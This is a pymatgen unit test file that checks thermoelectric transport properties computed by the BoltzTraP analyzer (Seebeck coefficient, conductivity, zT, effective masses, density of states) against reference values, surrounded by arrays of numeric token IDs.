4514, 13, 29897, 13, 2 ]
pymatgen/electronic_structure/tests/test_boltztrap.py
exenGT/pymatgen
1
68880
# Copyright (c) Pymatgen Development Team. # Distributed under the terms of the MIT License. import json import os import unittest import warnings from monty.os.path import which from monty.serialization import loadfn from pymatgen.electronic_structure.bandstructure import BandStructure from pymatgen.electronic_structure.boltztrap import BoltztrapAnalyzer, BoltztrapRunner from pymatgen.electronic_structure.core import OrbitalType, Spin from pymatgen.util.testing import PymatgenTest try: from ase.io.cube import read_cube except ImportError: read_cube = None try: import fdint except ImportError: fdint = None x_trans = which("x_trans") @unittest.skipIf(not x_trans, "No x_trans.") class BoltztrapAnalyzerTest(unittest.TestCase): @classmethod def setUpClass(cls): cls.bz = BoltztrapAnalyzer.from_files(os.path.join(PymatgenTest.TEST_FILES_DIR, "boltztrap/transp/")) cls.bz_bands = BoltztrapAnalyzer.from_files(os.path.join(PymatgenTest.TEST_FILES_DIR, "boltztrap/bands/")) cls.bz_up = BoltztrapAnalyzer.from_files( os.path.join(PymatgenTest.TEST_FILES_DIR, "boltztrap/dos_up/"), dos_spin=1 ) cls.bz_dw = BoltztrapAnalyzer.from_files( os.path.join(PymatgenTest.TEST_FILES_DIR, "boltztrap/dos_dw/"), dos_spin=-1 ) cls.bz_fermi = BoltztrapAnalyzer.from_files(os.path.join(PymatgenTest.TEST_FILES_DIR, "boltztrap/fermi/")) with open(os.path.join(PymatgenTest.TEST_FILES_DIR, "Cu2O_361_bandstructure.json")) as f: d = json.load(f) cls.bs = BandStructure.from_dict(d) cls.btr = BoltztrapRunner(cls.bs, 1) warnings.simplefilter("ignore") @classmethod def tearDownClass(cls): warnings.simplefilter("default") def test_properties(self): self.assertAlmostEqual(self.bz.gap, 1.6644932121620404, 4) array = self.bz._cond[300][102] self.assertAlmostEqual(array[0][0] / 1e19, 7.5756518, 4) self.assertAlmostEqual(array[0][2], -11.14679) self.assertAlmostEqual(array[1][0], -88.203286) self.assertAlmostEqual(array[2][2], 1.7133249e19) array = self.bz._seebeck[300][22] self.assertAlmostEqual(array[0][1], 6.4546074e-22) self.assertAlmostEqual(array[1][1], -0.00032073711) self.assertAlmostEqual(array[1][2], -2.9868424e-24) self.assertAlmostEqual(array[2][2], -0.0003126543) array = self.bz._kappa[500][300] self.assertAlmostEqual(array[0][1], 0.00014524309) self.assertAlmostEqual(array[1][1], 328834400000000.0) self.assertAlmostEqual(array[1][2], 3.7758069e-05) self.assertAlmostEqual(array[2][2], 193943750000000.0) self.assertAlmostEqual(self.bz._hall[400][800][1][0][0], 9.5623749e-28) self.assertAlmostEqual(self.bz._hall[400][68][1][2][2], 6.5106975e-10) self.assertAlmostEqual(self.bz.doping["p"][3], 1e18) self.assertAlmostEqual(self.bz.mu_doping["p"][300][2], 0.1553770018406) self.assertAlmostEqual(self.bz.mu_doping["n"][300][-1], 1.6486017632924719, 4) self.assertAlmostEqual(self.bz._cond_doping["n"][800][3][1][1] / 1e16, 1.5564085, 4) self.assertAlmostEqual(self.bz._seebeck_doping["p"][600][2][0][1] / 1e-23, 3.2860613, 4) self.assertAlmostEqual(self.bz._carrier_conc[500][67], 38.22832002) self.assertAlmostEqual(self.bz.vol, 612.97557323964838, 4) self.assertAlmostEqual(self.bz.intrans["scissor"], 0.0, 1) self.assertAlmostEqual(self.bz._hall_doping["n"][700][-1][2][2][2], 5.0136483e-26) self.assertAlmostEqual(self.bz.dos.efermi, -0.0300005507057) self.assertAlmostEqual(self.bz.dos.energies[0], -2.4497049391830448, 4) self.assertAlmostEqual(self.bz.dos.energies[345], -0.72708823447130944, 4) self.assertAlmostEqual(self.bz.dos.energies[-1], 3.7569398770153524, 4) self.assertAlmostEqual(self.bz.dos.densities[Spin.up][400], 118.70171) self.assertAlmostEqual(self.bz.dos.densities[Spin.up][200], 179.58562) self.assertAlmostEqual(self.bz.dos.densities[Spin.up][300], 289.43945) self.assertAlmostEqual(self.bz_bands._bz_bands.shape, (1316, 20)) self.assertAlmostEqual(self.bz_bands._bz_kpoints.shape, (1316, 3)) self.assertAlmostEqual(self.bz_up._dos_partial["0"]["pz"][2562], 0.023862958) self.assertAlmostEqual(self.bz_dw._dos_partial["1"]["px"][3120], 5.0192891) self.assertAlmostEqual(self.bz_fermi.fermi_surface_data.shape, (121, 121, 65)) self.assertAlmostEqual(self.bz_fermi.fermi_surface_data[21][79][19], -1.8831911809439161, 5) @unittest.skipIf(not fdint, "No FDINT") def test_get_seebeck_eff_mass(self): ref = [1.956090529381193, 2.0339311618566343, 1.1529383757896965] ref2 = [4258.4072823354145, 4597.0351887125289, 4238.1262696392705] sbk_mass_tens_mu = self.bz.get_seebeck_eff_mass(output="tensor", doping_levels=False, temp=300)[3] sbk_mass_tens_dop = self.bz.get_seebeck_eff_mass(output="tensor", doping_levels=True, temp=300)["n"][2] sbk_mass_avg_mu = self.bz.get_seebeck_eff_mass(output="average", doping_levels=False, temp=300)[3] sbk_mass_avg_dop = self.bz.get_seebeck_eff_mass(output="average", doping_levels=True, temp=300)["n"][2] for i in range(0, 3): self.assertAlmostEqual(sbk_mass_tens_mu[i], ref2[i], 1) self.assertAlmostEqual(sbk_mass_tens_dop[i], ref[i], 4) self.assertAlmostEqual(sbk_mass_avg_mu, 4361.4744008038842, 1) self.assertAlmostEqual(sbk_mass_avg_dop, 1.661553842105382, 4) @unittest.skipIf(not fdint, "No FDINT") def test_get_complexity_factor(self): ref = [2.7658776815227828, 2.9826088215568403, 0.28881335881640308] ref2 = [0.0112022048620205, 0.0036001049607186602, 0.0083028947173193028] sbk_mass_tens_mu = self.bz.get_complexity_factor(output="tensor", doping_levels=False, temp=300)[3] sbk_mass_tens_dop = self.bz.get_complexity_factor(output="tensor", doping_levels=True, temp=300)["n"][2] sbk_mass_avg_mu = self.bz.get_complexity_factor(output="average", doping_levels=False, temp=300)[3] sbk_mass_avg_dop = self.bz.get_complexity_factor(output="average", doping_levels=True, temp=300)["n"][2] for i in range(0, 3): self.assertAlmostEqual(sbk_mass_tens_mu[i], ref2[i], 4) self.assertAlmostEqual(sbk_mass_tens_dop[i], ref[i], 4) self.assertAlmostEqual(sbk_mass_avg_mu, 0.00628677029221, 4) self.assertAlmostEqual(sbk_mass_avg_dop, 1.12322832119, 4) def test_get_seebeck(self): ref = [-768.99078999999995, -724.43919999999991, -686.84682999999973] for i in range(0, 3): self.assertAlmostEqual(self.bz.get_seebeck()["n"][800][3][i], ref[i]) self.assertAlmostEqual(self.bz.get_seebeck(output="average")["p"][800][3], 697.608936667) self.assertAlmostEqual( self.bz.get_seebeck(output="average", doping_levels=False)[500][520], 1266.7056, ) self.assertAlmostEqual( self.bz.get_seebeck(output="average", doping_levels=False)[300][65], -36.2459389333, ) # TODO: this was originally "eigs" def test_get_conductivity(self): ref = [5.9043185000000022, 17.855599000000002, 26.462935000000002] for i in range(0, 3): self.assertAlmostEqual(self.bz.get_conductivity()["p"][600][2][i], ref[i]) self.assertAlmostEqual(self.bz.get_conductivity(output="average")["n"][700][1], 1.58736609667) self.assertAlmostEqual( self.bz.get_conductivity(output="average", doping_levels=False)[300][457], 2.87163566667, ) self.assertAlmostEqual( self.bz.get_conductivity( output="average", doping_levels=False, # TODO: this was originally "eigs" relaxation_time=1e-15, )[200][63], 16573.0536667, ) def test_get_power_factor(self): ref = [6.2736602345523362, 17.900184232304138, 26.158282220458144] for i in range(0, 3): self.assertAlmostEqual(self.bz.get_power_factor()["p"][200][2][i], ref[i]) self.assertAlmostEqual(self.bz.get_power_factor(output="average")["n"][600][4], 411.230962976) self.assertAlmostEqual( self.bz.get_power_factor(output="average", doping_levels=False, relaxation_time=1e-15)[500][459], 6.59277148467, ) self.assertAlmostEqual( self.bz.get_power_factor(output="average", doping_levels=False)[800][61], 2022.67064134, ) # TODO: this was originally "eigs" def test_get_thermal_conductivity(self): ref = [2.7719565628862623e-05, 0.00010048046886793946, 0.00015874549392499391] for i in range(0, 3): self.assertAlmostEqual(self.bz.get_thermal_conductivity()["p"][300][2][i], ref[i]) self.assertAlmostEqual( self.bz.get_thermal_conductivity(output="average", relaxation_time=1e-15)["n"][500][0], 1.74466575612e-07, ) self.assertAlmostEqual( self.bz.get_thermal_conductivity(output="average", doping_levels=False)[800][874], 8.08066254813, ) self.assertAlmostEqual( self.bz.get_thermal_conductivity(output="average", doping_levels=False)[200][32], # TODO: this was originally "eigs" 0.0738961845832, ) self.assertAlmostEqual( self.bz.get_thermal_conductivity(k_el=False, output="average", doping_levels=False)[200][32], 0.19429052, ) def test_get_zt(self): ref = [0.097408810215, 0.29335112354, 0.614673998089] for i in range(0, 3): self.assertAlmostEqual(self.bz.get_zt()["n"][800][4][i], ref[i]) self.assertAlmostEqual(self.bz.get_zt(output="average", kl=0.5)["p"][700][2], 0.0170001879916) self.assertAlmostEqual( self.bz.get_zt(output="average", doping_levels=False, relaxation_time=1e-15)[300][240], 0.0041923533238348342, ) eigs = self.bz.get_zt(output="eigs", doping_levels=False)[700][65] ref_eigs = [0.082420053399668847, 0.29408035502671648, 0.40822061215079392] for idx, val in enumerate(ref_eigs): self.assertAlmostEqual(eigs[idx], val, 5) def test_get_average_eff_mass(self): ref = [0.76045816788363574, 0.96181142990667101, 2.9428428773308628] for i in range(0, 3): self.assertAlmostEqual(self.bz.get_average_eff_mass()["p"][300][2][i], ref[i]) ref = [1.1295783824744523, 1.3898454041924351, 5.2459984671977935] ref2 = [6.6648842712692078, 31.492540105738343, 37.986369302138954] for i in range(0, 3): self.assertAlmostEqual(self.bz.get_average_eff_mass()["n"][600][1][i], ref[i]) self.assertAlmostEqual(self.bz.get_average_eff_mass(doping_levels=False)[300][200][i], ref2[i]) ref = [ [9.61811430e-01, -8.25159596e-19, -4.70319444e-19], [-8.25159596e-19, 2.94284288e00, 3.00368916e-18], [-4.70319444e-19, 3.00368916e-18, 7.60458168e-01], ] ref2 = [ [27.97604444269153, -2.39347589e-17, -1.36897140e-17], [-2.39347589e-17, 8.55969097e01, 8.74169648e-17], [-1.36897140e-17, 8.74169648e-17, 2.21151980e01], ] for i in range(0, 3): for j in range(0, 3): self.assertAlmostEqual( self.bz.get_average_eff_mass(output="tensor")["p"][300][2][i][j], ref[i][j], 4, ) self.assertAlmostEqual( self.bz.get_average_eff_mass(output="tensor", doping_levels=False)[300][500][i][j], ref2[i][j], 4, ) self.assertAlmostEqual( self.bz.get_average_eff_mass(output="average")["n"][300][2], 1.53769093989, 4, ) def test_get_carrier_concentration(self): self.assertAlmostEqual(self.bz.get_carrier_concentration()[300][39] / 1e22, 6.4805156617179151, 4) self.assertAlmostEqual(self.bz.get_carrier_concentration()[300][693] / 1e15, -6.590800965604750, 4) def test_get_hall_carrier_concentration(self): self.assertAlmostEqual( self.bz.get_hall_carrier_concentration()[600][120] / 1e21, 6.773394626767555, 4, ) self.assertAlmostEqual( self.bz.get_hall_carrier_concentration()[500][892] / 1e21, -9.136803845741777, 4, ) def test_get_symm_bands(self): structure = loadfn(os.path.join(PymatgenTest.TEST_FILES_DIR, "boltztrap/structure_mp-12103.json")) sbs = loadfn(os.path.join(PymatgenTest.TEST_FILES_DIR, "boltztrap/dft_bs_sym_line.json")) kpoints = [kp.frac_coords for kp in sbs.kpoints] labels_dict = {k: sbs.labels_dict[k].frac_coords for k in sbs.labels_dict} for kpt_line, labels_dict in zip([None, sbs.kpoints, kpoints], [None, sbs.labels_dict, labels_dict]): sbs_bzt = self.bz_bands.get_symm_bands(structure, -5.25204548, kpt_line=kpt_line, labels_dict=labels_dict) self.assertAlmostEqual(len(sbs_bzt.bands[Spin.up]), 20) self.assertAlmostEqual(len(sbs_bzt.bands[Spin.up][1]), 143) # def test_check_acc_bzt_bands(self): # structure = loadfn(os.path.join(PymatgenTest.TEST_FILES_DIR,'boltztrap/structure_mp-12103.json')) # sbs = loadfn(os.path.join(PymatgenTest.TEST_FILES_DIR,'boltztrap/dft_bs_sym_line.json')) # sbs_bzt = self.bz_bands.get_symm_bands(structure,-5.25204548) # corr,werr_vbm,werr_cbm,warn = BoltztrapAnalyzer.check_acc_bzt_bands(sbs_bzt,sbs) # self.assertAlmostEqual(corr[2],9.16851750e-05) # self.assertAlmostEqual(werr_vbm['K-H'],0.18260273521047862) # self.assertAlmostEqual(werr_cbm['M-K'],0.071552669981356981) # self.assertFalse(warn) def test_get_complete_dos(self): structure = loadfn(os.path.join(PymatgenTest.TEST_FILES_DIR, "boltztrap/structure_mp-12103.json")) cdos = self.bz_up.get_complete_dos(structure, self.bz_dw) spins = list(cdos.densities.keys()) self.assertIn(Spin.down, spins) self.assertIn(Spin.up, spins) self.assertAlmostEqual( cdos.get_spd_dos()[OrbitalType.p].densities[Spin.up][3134], 43.839230100999991, ) self.assertAlmostEqual( cdos.get_spd_dos()[OrbitalType.s].densities[Spin.down][716], 6.5383268000000001, ) def test_extreme(self): x = self.bz.get_extreme("seebeck") self.assertEqual(x["best"]["carrier_type"], "n") self.assertAlmostEqual(x["p"]["value"], 1255.365, 2) self.assertEqual(x["n"]["isotropic"], True) self.assertEqual(x["n"]["temperature"], 600) x = self.bz.get_extreme("kappa", maximize=False, min_temp=400, min_doping=1e20) self.assertAlmostEqual(x["best"]["value"], 0.105, 2) self.assertAlmostEqual(x["n"]["value"], 0.139, 2) self.assertEqual(x["p"]["temperature"], 400) self.assertEqual(x["n"]["isotropic"], False) def test_to_from_dict(self): btr_dict = self.btr.as_dict() s = json.dumps(btr_dict) self.assertIsNotNone(s) self.assertIsNotNone(btr_dict["bs"]) if __name__ == "__main__": unittest.main()
[ 1, 396, 14187, 1266, 313, 29883, 29897, 349, 962, 271, 1885, 14650, 8583, 29889, 13, 29937, 6652, 7541, 1090, 278, 4958, 310, 278, 341, 1806, 19245, 29889, 13, 13, 13, 5215, 4390, 13, 5215, 2897, 13, 5215, 443, 27958, 13, 5215, 18116, 13, 13, 3166, 7629, 29891, 29889, 359, 29889, 2084, 1053, 607, 13, 3166, 7629, 29891, 29889, 15550, 2133, 1053, 2254, 9144, 13, 13, 3166, 282, 962, 271, 1885, 29889, 15436, 1617, 293, 29918, 23905, 29889, 4980, 23905, 1053, 5158, 5015, 12425, 13, 3166, 282, 962, 271, 1885, 29889, 15436, 1617, 293, 29918, 23905, 29889, 2095, 29873, 2065, 2390, 1053, 8922, 29873, 2065, 2390, 2744, 14997, 3298, 29892, 8922, 29873, 2065, 2390, 16802, 13, 3166, 282, 962, 271, 1885, 29889, 15436, 1617, 293, 29918, 23905, 29889, 3221, 1053, 1394, 29890, 2410, 1542, 29892, 1706, 262, 13, 3166, 282, 962, 271, 1885, 29889, 4422, 29889, 13424, 1053, 349, 962, 271, 1885, 3057, 13, 13, 2202, 29901, 13, 1678, 515, 263, 344, 29889, 601, 29889, 29883, 4003, 1053, 1303, 29918, 29883, 4003, 13, 19499, 16032, 2392, 29901, 13, 1678, 1303, 29918, 29883, 4003, 353, 6213, 13, 13, 2202, 29901, 13, 1678, 1053, 285, 29881, 524, 13, 19499, 16032, 2392, 29901, 13, 1678, 285, 29881, 524, 353, 6213, 13, 13, 29916, 29918, 3286, 353, 607, 703, 29916, 29918, 3286, 1159, 13, 13, 13, 29992, 348, 27958, 29889, 11014, 3644, 29898, 1333, 921, 29918, 3286, 29892, 376, 3782, 921, 29918, 3286, 23157, 13, 1990, 8922, 29873, 2065, 2390, 2744, 14997, 3298, 3057, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 1678, 732, 1990, 5696, 13, 1678, 822, 731, 3373, 2385, 29898, 25932, 1125, 13, 4706, 1067, 29879, 29889, 29890, 29920, 353, 8922, 29873, 2065, 2390, 2744, 14997, 3298, 29889, 3166, 29918, 5325, 29898, 359, 29889, 2084, 29889, 7122, 29898, 29925, 962, 271, 1885, 3057, 29889, 18267, 29918, 24483, 29918, 9464, 29892, 376, 2095, 29873, 2065, 2390, 29914, 3286, 29886, 29914, 5783, 13, 4706, 1067, 29879, 29889, 29890, 29920, 29918, 29890, 4167, 353, 8922, 29873, 2065, 2390, 2744, 14997, 3298, 29889, 3166, 29918, 5325, 29898, 359, 29889, 2084, 29889, 7122, 29898, 29925, 962, 271, 1885, 3057, 29889, 18267, 29918, 24483, 29918, 9464, 29892, 376, 2095, 29873, 2065, 2390, 29914, 29890, 4167, 29914, 5783, 13, 4706, 1067, 29879, 29889, 29890, 29920, 29918, 786, 353, 8922, 29873, 2065, 2390, 2744, 14997, 3298, 29889, 3166, 29918, 5325, 29898, 13, 9651, 2897, 29889, 2084, 29889, 7122, 29898, 29925, 962, 271, 1885, 3057, 29889, 18267, 29918, 24483, 29918, 9464, 29892, 376, 2095, 29873, 2065, 2390, 29914, 29881, 359, 29918, 786, 29914, 4968, 3248, 29918, 1028, 262, 29922, 29896, 13, 4706, 1723, 13, 4706, 1067, 29879, 29889, 29890, 29920, 29918, 28012, 353, 8922, 29873, 2065, 2390, 2744, 14997, 3298, 29889, 3166, 29918, 5325, 29898, 13, 9651, 2897, 29889, 2084, 29889, 7122, 29898, 29925, 962, 271, 1885, 3057, 29889, 18267, 29918, 24483, 29918, 9464, 29892, 376, 2095, 29873, 2065, 2390, 29914, 29881, 359, 29918, 28012, 29914, 4968, 3248, 29918, 1028, 262, 10457, 29896, 13, 4706, 1723, 13, 4706, 1067, 29879, 29889, 29890, 29920, 29918, 571, 2460, 353, 8922, 29873, 2065, 2390, 2744, 14997, 3298, 29889, 3166, 29918, 5325, 29898, 359, 29889, 2084, 29889, 7122, 29898, 29925, 962, 271, 1885, 3057, 29889, 18267, 29918, 24483, 29918, 9464, 29892, 376, 2095, 29873, 2065, 2390, 29914, 571, 2460, 29914, 5783, 13, 13, 4706, 411, 1722, 29898, 359, 29889, 2084, 29889, 7122, 29898, 29925, 962, 271, 1885, 3057, 29889, 18267, 29918, 24483, 29918, 9464, 29892, 376, 29907, 29884, 29906, 29949, 29918, 29941, 29953, 29896, 29918, 4980, 23905, 29889, 3126, 5783, 408, 285, 29901, 13, 9651, 270, 353, 4390, 29889, 1359, 29898, 29888, 29897, 13, 9651, 1067, 29879, 29889, 5824, 353, 5158, 5015, 12425, 29889, 3166, 29918, 8977, 29898, 29881, 29897, 13, 9651, 1067, 29879, 29889, 29890, 509, 353, 8922, 29873, 2065, 2390, 16802, 29898, 25932, 29889, 5824, 29892, 29871, 29896, 29897, 13, 4706, 18116, 29889, 12857, 4572, 703, 17281, 1159, 13, 13, 1678, 732, 1990, 5696, 13, 1678, 822, 734, 279, 6767, 2385, 29898, 25932, 1125, 13, 4706, 18116, 29889, 12857, 4572, 703, 4381, 1159, 13, 13, 1678, 822, 1243, 29918, 11330, 29898, 1311, 1125, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 29887, 481, 29892, 29871, 29896, 29889, 29953, 29953, 29946, 29946, 29929, 29941, 29906, 29896, 29906, 29896, 29953, 29906, 29900, 29946, 29900, 29946, 29892, 29871, 29946, 29897, 13, 4706, 1409, 353, 1583, 29889, 29890, 29920, 3032, 1116, 29961, 29941, 29900, 29900, 3816, 29896, 29900, 29906, 29962, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 2378, 29961, 29900, 3816, 29900, 29962, 847, 29871, 29896, 29872, 29896, 29929, 29892, 29871, 29955, 29889, 29945, 29955, 29945, 29953, 29945, 29896, 29947, 29892, 29871, 29946, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 2378, 29961, 29900, 3816, 29906, 1402, 448, 29896, 29896, 29889, 29896, 29946, 29953, 29955, 29929, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 2378, 29961, 29896, 3816, 29900, 1402, 448, 29947, 29947, 29889, 29906, 29900, 29941, 29906, 29947, 29953, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 2378, 29961, 29906, 3816, 29906, 1402, 29871, 29896, 29889, 29955, 29896, 29941, 29941, 29906, 29946, 29929, 29872, 29896, 29929, 29897, 13, 4706, 1409, 353, 1583, 29889, 29890, 29920, 3032, 344, 774, 29872, 384, 29961, 29941, 29900, 29900, 3816, 29906, 29906, 29962, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 2378, 29961, 29900, 3816, 29896, 1402, 29871, 29953, 29889, 29946, 29945, 29946, 29953, 29900, 29955, 29946, 29872, 29899, 29906, 29906, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 2378, 29961, 29896, 3816, 29896, 1402, 448, 29900, 29889, 29900, 29900, 29900, 29941, 29906, 29900, 29955, 29941, 29955, 29896, 29896, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 2378, 29961, 29896, 3816, 29906, 1402, 448, 29906, 29889, 29929, 29947, 29953, 29947, 29946, 29906, 29946, 29872, 29899, 29906, 29946, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 2378, 29961, 29906, 3816, 29906, 1402, 448, 29900, 29889, 29900, 29900, 29900, 29941, 29896, 29906, 29953, 29945, 29946, 29941, 29897, 13, 4706, 1409, 353, 1583, 29889, 29890, 29920, 3032, 9876, 29961, 29945, 29900, 29900, 3816, 29941, 29900, 29900, 29962, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 2378, 29961, 29900, 3816, 29896, 1402, 29871, 29900, 29889, 29900, 29900, 29900, 29896, 29946, 29945, 29906, 29946, 29941, 29900, 29929, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 2378, 29961, 29896, 3816, 29896, 1402, 29871, 29941, 29906, 29947, 29947, 29941, 29946, 29946, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29889, 29900, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 2378, 29961, 29896, 3816, 29906, 1402, 29871, 29941, 29889, 29955, 29955, 29945, 29947, 29900, 29953, 29929, 29872, 29899, 29900, 29945, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 2378, 29961, 29906, 3816, 29906, 1402, 29871, 29896, 29929, 29941, 29929, 29946, 29941, 29955, 29945, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29889, 29900, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 3032, 27090, 29961, 29946, 29900, 29900, 3816, 29947, 29900, 29900, 3816, 29896, 3816, 29900, 3816, 29900, 1402, 29871, 29929, 29889, 29945, 29953, 29906, 29941, 29955, 29946, 29929, 29872, 29899, 29906, 29947, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 3032, 27090, 29961, 29946, 29900, 29900, 3816, 29953, 29947, 3816, 29896, 3816, 29906, 3816, 29906, 1402, 29871, 29953, 29889, 29945, 29896, 29900, 29953, 29929, 29955, 29945, 29872, 29899, 29896, 29900, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 29881, 459, 292, 3366, 29886, 3108, 29961, 29941, 1402, 29871, 29896, 29872, 29896, 29947, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 2589, 29918, 29881, 459, 292, 3366, 29886, 3108, 29961, 29941, 29900, 29900, 3816, 29906, 1402, 29871, 29900, 29889, 29896, 29945, 29945, 29941, 29955, 29955, 29900, 29900, 29896, 29947, 29946, 29900, 29953, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 2589, 29918, 29881, 459, 292, 3366, 29876, 3108, 29961, 29941, 29900, 29900, 3816, 29899, 29896, 1402, 29871, 29896, 29889, 29953, 29946, 29947, 29953, 29900, 29896, 29955, 29953, 29941, 29906, 29929, 29906, 29946, 29955, 29896, 29929, 29892, 29871, 29946, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 3032, 1116, 29918, 29881, 459, 292, 3366, 29876, 3108, 29961, 29947, 29900, 29900, 3816, 29941, 3816, 29896, 3816, 29896, 29962, 847, 29871, 29896, 29872, 29896, 29953, 29892, 29871, 29896, 29889, 29945, 29945, 29953, 29946, 29900, 29947, 29945, 29892, 29871, 29946, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 3032, 344, 774, 29872, 384, 29918, 29881, 459, 292, 3366, 29886, 3108, 29961, 29953, 29900, 29900, 3816, 29906, 3816, 29900, 3816, 29896, 29962, 847, 29871, 29896, 29872, 29899, 29906, 29941, 29892, 29871, 29941, 29889, 29906, 29947, 29953, 29900, 29953, 29896, 29941, 29892, 29871, 29946, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 3032, 4287, 4336, 29918, 535, 29883, 29961, 29945, 29900, 29900, 3816, 29953, 29955, 1402, 29871, 29941, 29947, 29889, 29906, 29906, 29947, 29941, 29906, 29900, 29900, 29906, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 1555, 29892, 29871, 29953, 29896, 29906, 29889, 29929, 29955, 29945, 29945, 29955, 29941, 29906, 29941, 29929, 29953, 29946, 29947, 29941, 29947, 29892, 29871, 29946, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 262, 3286, 3366, 1557, 790, 272, 12436, 29871, 29900, 29889, 29900, 29892, 29871, 29896, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 3032, 27090, 29918, 29881, 459, 292, 3366, 29876, 3108, 29961, 29955, 29900, 29900, 3816, 29899, 29896, 3816, 29906, 3816, 29906, 3816, 29906, 1402, 29871, 29945, 29889, 29900, 29896, 29941, 29953, 29946, 29947, 29941, 29872, 29899, 29906, 29953, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 29881, 359, 29889, 29872, 571, 2460, 29892, 448, 29900, 29889, 29900, 29941, 29900, 29900, 29900, 29900, 29945, 29945, 29900, 29955, 29900, 29945, 29955, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 29881, 359, 29889, 759, 29887, 583, 29961, 29900, 1402, 448, 29906, 29889, 29946, 29946, 29929, 29955, 29900, 29946, 29929, 29941, 29929, 29896, 29947, 29941, 29900, 29946, 29946, 29947, 29892, 29871, 29946, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 29881, 359, 29889, 759, 29887, 583, 29961, 29941, 29946, 29945, 1402, 448, 29900, 29889, 29955, 29906, 29955, 29900, 29947, 29947, 29906, 29941, 29946, 29946, 29955, 29896, 29941, 29900, 29929, 29946, 29946, 29892, 29871, 29946, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 29881, 359, 29889, 759, 29887, 583, 14352, 29896, 1402, 29871, 29941, 29889, 29955, 29945, 29953, 29929, 29941, 29929, 29947, 29955, 29955, 29900, 29896, 29945, 29941, 29945, 29906, 29946, 29892, 29871, 29946, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 29881, 359, 29889, 21518, 1907, 29961, 5592, 262, 29889, 786, 3816, 29946, 29900, 29900, 1402, 29871, 29896, 29896, 29947, 29889, 29955, 29900, 29896, 29955, 29896, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 29881, 359, 29889, 21518, 1907, 29961, 5592, 262, 29889, 786, 3816, 29906, 29900, 29900, 1402, 29871, 29896, 29955, 29929, 29889, 29945, 29947, 29945, 29953, 29906, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 29881, 359, 29889, 21518, 1907, 29961, 5592, 262, 29889, 786, 3816, 29941, 29900, 29900, 1402, 29871, 29906, 29947, 29929, 29889, 29946, 29941, 29929, 29946, 29945, 29897, 13, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29918, 29890, 4167, 3032, 29890, 29920, 29918, 29890, 4167, 29889, 12181, 29892, 313, 29896, 29941, 29896, 29953, 29892, 29871, 29906, 29900, 876, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29918, 29890, 4167, 3032, 29890, 29920, 29918, 29895, 9748, 29889, 12181, 29892, 313, 29896, 29941, 29896, 29953, 29892, 29871, 29941, 876, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29918, 786, 3032, 29881, 359, 29918, 3846, 3366, 29900, 3108, 3366, 29886, 29920, 3108, 29961, 29906, 29945, 29953, 29906, 1402, 29871, 29900, 29889, 29900, 29906, 29941, 29947, 29953, 29906, 29929, 29945, 29947, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29918, 28012, 3032, 29881, 359, 29918, 3846, 3366, 29896, 3108, 3366, 1756, 3108, 29961, 29941, 29896, 29906, 29900, 1402, 29871, 29945, 29889, 29900, 29896, 29929, 29906, 29947, 29929, 29896, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29918, 571, 2460, 29889, 571, 2460, 29918, 7610, 